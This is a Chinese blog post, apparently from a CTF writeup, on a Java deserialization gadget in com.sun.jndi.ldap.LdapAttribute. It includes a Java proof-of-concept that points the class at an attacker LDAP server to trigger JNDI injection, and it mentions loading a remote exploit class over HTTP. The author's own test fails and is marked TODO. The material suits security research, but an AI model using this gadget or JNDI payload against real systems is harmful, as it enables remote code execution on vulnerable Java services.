反序列化新的Gadget:com.sun.jndi.ldap.LdapAttribute

220 篇文章 7 订阅
213 篇文章 3 订阅

这个CTF是1.4的Java。同时由于这个类在1.8中依然存在,所以也可以在1.8利用:

一些新手可能会被 ysoserial 里标注的利用链依赖库版本所迷惑,认为某个链就只能在对应标注的依赖版本下起作用,其实并非如此。像 ysoserial 里 CommonsBeanutils1 这个链,作者标注的依赖版本是:
commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
但这些版本实际上反映的只是 ysoserial 作者在编写利用时用到的库版本,实际的影响范围可能并不局限于此。

基于 getter 方法触发 RCE,目前 Java 标准库里已经公开过的利用链有 TemplatesImplJdbcRowSetImpl

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties: 加载自定义的字节码并实例化,从而可执行任意 Java 代码
  • com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData: 触发 JNDI 注入,也可以执行任意 Java 代码

ysoserial CommonsBeanutils1 源码里采用的是 TemplatesImpl。但是其依赖特定的CommonsBeanutils1 版本。当CommonsBeanutils1 版本不适用时,就需要寻找基于这种CommonsBeanutils1 版本的新的gadget。

这个新的gadget
漏洞触发点:
com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition
在这里插入图片描述
结合低版本的CommonsBeanutils构造一条心的反序列化gadget。

看到这个地方,开始还以为触发点在

(DirContext)var1.lookup("AttributeDefinition/" + this.getID());

后来发现原来是在上一行代码触发的。

开始以为LDAP的JNDI注入的sink点(需要分析的最底层)在javax.naming.InitialContext#lookup
参考这篇文章,发现其实更深处调用的过程是:

javax.naming.InitialContext#lookup(java.lang.String)
-> com.sun.jndi.url.ldap.ldapURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.url.GenericURLContext#lookup(java.lang.String)
-> com.sun.jndi.toolkit.ctx.PartialCompositeContext#lookup(javax.naming.Name)
-> com.sun.jndi.toolkit.ctx.ComponentContext#p_lookup
-> com.sun.jndi.ldap.LdapCtx#c_lookup
-> ......

理论上来说这过程中的任何一个点作为sink都可以?
如果能直接调用

com.sun.jndi.ldap.LdapCtx#c_lookup(Name var1, Continuation var2)

也能实现JNDI注入?

demo

import javax.naming.CompositeName;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;


// 适用于1.8、1.4
// 参考:[Real Wolrd CTF 3rd Writeup | Old System](https://mp.weixin.qq.com/s/ClASwg6SH0uij_-IX-GahQ)
public class LdapAttributePayload {

    public static void main(String[] args) throws Exception {

        // 构造反序列化payload
        String ldapCtxUrl = "ldap://192.168.85.1:1389";

        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
            new Class[] {String.class});
        ldapAttributeClazzConstructor.setAccessible(true);
        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
            new Object[] {"name"});

        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
        baseCtxUrlField.setAccessible(true);
        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);

        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
        rdnField.setAccessible(true);
        rdnField.set(ldapAttribute, new CompositeName("f0uimq"));


        // 触发
        Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[] {});
        getAttributeDefinitionMethod.setAccessible(true);
        getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[] {});

    }

}

TODO

测试的时候,发现抛出了错误:

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:483)
	at ysoserial.payloads.LdapAttributePayload.main(LdapAttributePayload.java:38)
Caused by: javax.naming.InvalidNameException: Invalid name: f0uimq; remaining name 'f0uimq'
	at javax.naming.ldap.Rfc2253Parser.doParse(Rfc2253Parser.java:111)
	at javax.naming.ldap.Rfc2253Parser.parseDn(Rfc2253Parser.java:70)
	at javax.naming.ldap.LdapName.parse(LdapName.java:785)
	at javax.naming.ldap.LdapName.<init>(LdapName.java:123)
	at com.sun.jndi.ldap.LdapSearchEnumeration.<init>(LdapSearchEnumeration.java:52)
	at com.sun.jndi.ldap.LdapCtx.searchAux(LdapCtx.java:1849)
	at com.sun.jndi.ldap.LdapCtx.getSchemaEntry(LdapCtx.java:1676)
	at com.sun.jndi.ldap.LdapCtx.getSchemaTree(LdapCtx.java:1589)
	at com.sun.jndi.ldap.LdapCtx.c_getSchema(LdapCtx.java:1536)
	at com.sun.jndi.toolkit.ctx.ComponentDirContext.p_getSchema(ComponentDirContext.java:439)
	at com.sun.jndi.toolkit.ctx.PartialCompositeDirContext.getSchema(PartialCompositeDirContext.java:422)
	at javax.naming.directory.InitialDirContext.getSchema(InitialDirContext.java:210)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 5 more

适用JNDI-Injection-Exploit工具收到了jndi请求,准备去http://127.0.0.1:8180/ExecTemplateJDK8.class下载class文件:
在这里插入图片描述
但是并没有真正请求到class文件。开始以为是工具的原因,重新使用marshalsec和http服务搭建发现问题一样。不能访问class。

jdk使用的是1.8.0,用jdk7依然存在这个问题。
在这里插入图片描述
搜了一下没有找到原因。可能是对这个原理没理解清楚…//TODO

参考:

  • https://stackoverflow.com/questions/30770344/add-user-to-ldap-using-java-naming-invalidnameexception-invalid-name

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值